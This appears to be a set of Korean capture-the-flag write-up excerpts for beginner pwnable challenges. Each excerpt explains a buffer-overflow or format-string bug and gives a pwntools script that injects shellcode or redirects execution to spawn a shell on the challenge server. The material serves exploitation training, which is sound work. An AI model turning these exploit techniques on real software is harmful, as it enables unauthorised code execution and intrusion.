문제 분석 문제를 실행해 보면 Data를 입력하면 버퍼의 주소를 알 수 있다. 다시 Data를 입력하면 같은 위치에 새로운 Data가 들어간다. 문제 풀이 처음에 아무 값이나 입력해서 버퍼의 주소를 찾고, 해당 버퍼에 쉘코드를 삽입하고 return address를 버퍼의 주소로 덮어주면 쉘을 획득할 수 있다. Data는 ebp-0x88에 위치하므로 다음과 같이 payload를 작성할 수 있다. shellcode + '\x90'*(0x88(buffer)-len(shellcode)+4(sfp)) from pwn import * p = remote('ctf.j0n9hyun.xyz', 3006) context.arch = 'i386' shellcode = asm(shellcraft.sh()) p.sendline..

문제 분석 gets에서 BOF 취약점을 찾을 수 있다. 또한 puts를 통해 buffer의 주소를 알려주고 있다. 문제 풀이 buffer에 쉘코드를 넣고 gets에서 BOF를 통해 return address를 buffer로 덮어주면 된다. payload는 다음과 같이 작성하면 된다. shellcode - dummy(27952(buffer size)+8(rbp)-length(shellcode)) + (buffer address) from pwn import * p = remote('ctf.j0n9hyun.xyz', 3005) p.recvuntil('buf: ') buf = int(p.recv(14),16) context.arch = 'amd64' shellcode = asm(shellcraft.sh()) ..

문제 분석 main함수에서 scanf를 보면 BOF 취약점이 존재한다. callMeMaybe함수에서는 shell을 획득할 수 있다. 문제 풀이 변수 s는 ebp-0x110에 위치하므로 다음과 같이 payload를 작성할 수 있다. dummy(0x110byte) + sfp(8byte) + 0x0000000000400606(callMeMaybe address) from pwn import * p = remote('ctf.j0n9hyun.xyz', 3004) payload = '' payload += '\x90'*0x110 payload += '\x90'*0x8 payload += p64(0x0000000000400606) p.sendline(payload) p.interactive()

문제 분석 이름을 입력받고 gets 함수로 다시 값을 입력받고 있다. 여기서 입력받는 문자열의 길이를 확인하지 않아 BOF가 발생하게 된다. 문제 풀이 변수 s는 크기가 작아 쉘코드를 넣을 수 없다. 따라서 name에 쉘코드를 넣고 BOF를 발생시켜 return address를 name으로 바꿔주면 된다. from pwn import * p = remote('ctf.j0n9hyun.xyz', 3003) name = 0x804a060 context.arch = 'i386' shellcode = shellcraft.sh() shellcode = asm(shellcode) payload = '' payload += '\x90'*0x14 payload += '\x90'*4 payload += p32(name) ..

문제 분석 vuln()함수를 보면 snprintf에서 FSB 취약점이 존재한다. 또한 shell을 얻을 수 있는 flag()함수가 있다. 문제 풀이 FSB를 이용하여 printf의 got를 flag()함수의 주소로 덮어주면 shell을 얻을 수 있다. 간단하게 FSB를 발생시켜보면 2번째 %x에서 첫 번째 인자 AAAA를 참조하고 있다. 따라서 다음과 같이 FSB를 발생시킬 수 있다. printf_got(4byte) + %(134514100-4byte=134514096)x+%n from pwn import * p = remote('ctf.j0n9hyun.xyz', 3002) e = ELF('./basic_fsb') print_got = e.got['printf'] payload = '' payload +..

문제 분석 IDA로 분석해 보면, fgets 함수에서 bof가 발생하는 것을 알 수 있다. 또한 shell을 실행시켜주는 함수가 따로 존재한다. 문제 풀이 fgets함수에서 bof를 발생시켜 v5함수의 주소를 shell() 함수의 주소로 바꿔주면 된다. s는 ebp-0x8C에 위치하고 v5는 ebp-0xC에 위치하므로 0x80만큼의 dummy를 넣어주고 shell() 함수의 주소를 넣어주면 된다. from pwn import * e = ELF('./bof_basic2') p = remote('ctf.j0n9hyun.xyz', 3001) shell = e.symbols['shell'] payload = '' payload += 'A'*0x80 payload += p32(shell) p.send(payloa..

문제 분석 IDA로 분석해 보면 변수 s에 값을 입력받고, 변수 v5가 0xdeadbeef이면 flag를 얻을 수 있다. 문제 풀이 s는 ebp-0x34에 위치하고 v5는 ebp-0xC에 위치하므로 0x28만큼의 dummy값을 입력하고 0xdeadbeef를 입력하면 된다. from pwn import * p = remote('ctf.j0n9hyun.xyz', 3000) payload = '' payload += 'A'*0x28 payload += p32(0xdeadbeef) p.send(payload) p.interactive()